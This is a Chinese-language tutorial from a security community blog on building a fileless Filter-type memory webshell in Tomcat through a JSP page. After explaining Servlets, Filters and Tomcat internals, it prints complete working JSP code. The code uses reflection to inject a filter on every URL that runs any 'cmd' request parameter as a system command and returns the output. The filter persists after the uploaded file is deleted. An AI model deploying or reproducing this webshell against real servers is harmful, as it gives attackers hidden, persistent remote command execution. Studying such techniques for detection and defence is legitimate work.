Java Filter型内存马入门 - Tomcat JSP内存马为例
文章首发于:
火线Zone社区(https://zone.huoxian.cn/)
内存马是什么
顾名思义,就是运行在内存中的木马。跟传统的webshell相比,没有实体文件。
个人总结是利用漏洞或上传解析的方式添加的恶意路由,只要能成功添加,那么这个路由的数据处理逻辑是我们可以自定义的。
例如:/cmd路由->get(post)获取参数cmd->eval或者exec(cmd),就能成为一个无文件的webshell,也就是内存马。
今天我就以JavaWeb 中的 Tomcat 容器的内存马为例,由浅至深带大家入门,并带大家手写一个内存马。这个内存马是看的风轩师傅的,网上一查就有。不过我看是适配linux的,所以改写成了适配windows的。
就像上面所说的,我就以 JavaWeb 、Tomcat 、实际编写,这个顺序一点一点说。因为是简单的不涉及框架的基础web程序,所以不会涉及MVC,微服务之类。大佬们就当是对旧时代的缅怀吧。别喷我了,我很菜。
Filter
首先我们需要了解web应用程序是怎么运行的。以JavaWeb为例,基础的web应用程序至少有以下几个重要组件:
Servlet,Filter,Linstener
其中的关系在下面图中web应用方框里:
因为今天要讲的是filter型内存马。所以先重点讲下filter(过滤器)。想了解其他两个的可以去B站搜楠哥看他的JavaWeb系列视频。还是很好的,句句都是干货。
Filter
过滤器实际上就是对web资源进行拦截,做一些处理后再交给下一个过滤器或servlet处理,一般用来过滤数据。
通常都是用来拦截request进行处理的,也可以对返回的response进行拦截处理。
创建一个filter需要先创建类文件,实现Filter接口:
再将filter配置进web.xml
编译,运行后就可以访问filter
当然,在正常业务中Filter大部分用作公共代码的提取,可以对request和response中的方法进行增强(装饰者模式/动态代理),或者进行权限控制,数据过滤等。其他主要业务功能还得servlet来控制。
而且web应用程序都是已经编译好了正在运行中的。也就是java中常说的运行时状态。不会给我们重启,再编译的机会。所以接下来就要讲到Tomcat了。
Tomcat
Tomcat 是一个免费的、开源的、轻量级的 Web 应用服务器。适合在并发量不是很高的中小企业项目中使用。Tomcat 的核心功能有两个,分别是负责接收和反馈外部请求的连接器 Connector,和负责处理请求的容器 Container。
其中连接器和容器相辅相成,一起构成了基本的 web 服务 Service。每个 Tomcat 服务器可以管理多个 Service。我们今天要利用到Tomcat中的catalina.jar与tomcat-util-scan.jar包。
catalina.jar包中如下四个类能引用运行时的web应用、应用程序上下文、应用程序filter配置、容器对象上下文等等。
tomcat-util-scan.jar包中的如下两个类能给予我们动态定义初始化filter,添加映射关系的方法。
JSP内存马编写
有了以上的基础概念就可以开始写JSP内存马了。
首先,导入相关包,类
先从运行时的上下文获取filterConfigs。也就是通过反射读取web应用程序目前的filter配置。
整个流程是从全局servlet上下文 -- > 当前web应用上下文 -- > 当前路径默认的上下文 --> 获取配置 --> 获取filter配置。
然后按filter名查看我们要注入的filter是否存在
不存在的话,就创建我们的恶意filter。(里头的恶意代码最后全部代码里有,截图截不全)。注意doFilter最后写上filterChain.doFilter方法,交给下一个过滤器或servlet处理。不然会报错。
最后进行配置
绿框中是添加进当前应用上下文的filter配置里。
到此为止,我们的filter型内存马就写完了。只要上传到目标服务器,访问解析一下,即可添加恶意filter。下面是演示截图。
可以看见当前是没有cmd这个参数相关的filter去处理我的ipconfig命令的。
然后我们访问,让服务器解析一下我们注入恶意内存马的jsp。
注入成功后,再尝试一下
成功注入内存马,然后我们将服服务器的恶意jsp删掉。
再访问我们的内存马
成功~~
回顾感受
我是新手,球球别喷。
引用一句话。“一个好的黑客,必须要懂编程”- - 尹毅《代码审计 企业级Web代码安全架构》
javase的要好好学习。尤其是反射。可以看到我们大多数情况下写的都是运行时的代码,不会反射简直寸步难行。
最后推一下我们团队博客 meta-sec
http://www.meta-sec.top/
全篇代码
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
final String name = "taamr"; //Filter过滤器名字
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
Process process = null;
BufferedReader bufferedReader = null;
BufferedReader bufferedReaderError = null;
StringBuilder result = new StringBuilder();
String line ;
try {
process = (Process) Class.forName("java.lang.Runtime").getMethod("exec", String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")),request.getParameter("cmd"));
process.waitFor();
bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream(), "GBK"));
bufferedReaderError = new BufferedReader(new InputStreamReader(process.getErrorStream(),"GBK"));
while ((line=bufferedReader.readLine())!=null){
result.append(line).append("\n");
}
while ((line = bufferedReaderError.readLine()) != null) {
result.append(line).append('\n');
}
servletResponse.setContentType("application/json;charset=UTF-8");
servletResponse.getWriter().write(result.toString());
} catch (Exception e) {
e.printStackTrace();
}finally {
bufferedReader.close();
bufferedReaderError.close();
process.destroy();
}
return;
}
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name,filterConfig);
out.print("注入成功");
}
%>
【火线Zone云安全社区群】
进群可以与技术大佬互相交流
进群有机会免费领取节假日礼品
进群可以免费观看技术分享直播
【火线zone社区周激励】
2022.4.4~ 2022.4.10公告
【相关精选文章】
火线Zone是[火线安全平台]运营的云安全社区,内容涵盖云计算、云安全、漏洞分析、攻防等热门主题,研究讨论云安全相关技术,助力所有云上用户实现全面的安全防护。欢迎具备分享和探索精神的云上用户加入火线Zone社区,共建一个云安全优质社区!
// 火线Zone //
点击阅读原文,加入社区,共建一个有技术氛围的优质社区!